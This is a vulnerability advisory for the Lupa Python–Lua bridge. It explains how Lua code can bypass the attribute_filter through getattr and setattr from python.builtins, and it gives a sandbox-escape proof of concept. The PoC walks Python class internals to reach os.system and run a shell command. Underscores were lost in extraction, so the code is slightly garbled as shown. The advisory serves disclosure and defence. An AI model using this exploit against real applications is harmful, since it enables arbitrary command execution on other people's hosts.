PT-2026-59267 · Pypi · Lupa
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
10
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Summary
The
attribute filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Details
The
attribute filter is meant to block access to attributes such as class, mro, and similar internal properties.In practice, it only applies to direct attribute access:
obj.attr→ filteredgetattr(obj, "attr")→ not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
- Access
class - Walk the
mrochain - Call
subclasses () - Iterate over available classes
- Find a function that exposes
globals - Retrieve something like
os.system
At that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that
attribute filter is expected to enforce.PoC
The following example shows how the filter can be bypassed to execute
os.system:'import lupa
from lupa import LuaRuntime
def protected attribute filter(obj, attr name, is setting):
if isinstance(attr name, str) and attr name.startswith(' '):
raise AttributeError(f"Access to '{attr name}' is forbidden")
return attr name
lua = LuaRuntime(unpack returned tuples=True, attribute filter=protected attribute filter)
class UserProfile:
def init (self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, " class ")
local , obj cls = getattr(cls, " mro ")
local subs = getattr(obj cls, " subclasses ")()
for , c in ipairs(subs) do
if tostring(c):find("os. wrap close") then
local system = getattr(getattr(c, " init "), " globals ")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")Impact
An attacker who can execute Lua code can:
- Bypass the
attribute filter - Access Python internals
- Traverse the object graph
- Reach execution primitives
This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on
attribute filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register builtins=False option.Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Lupa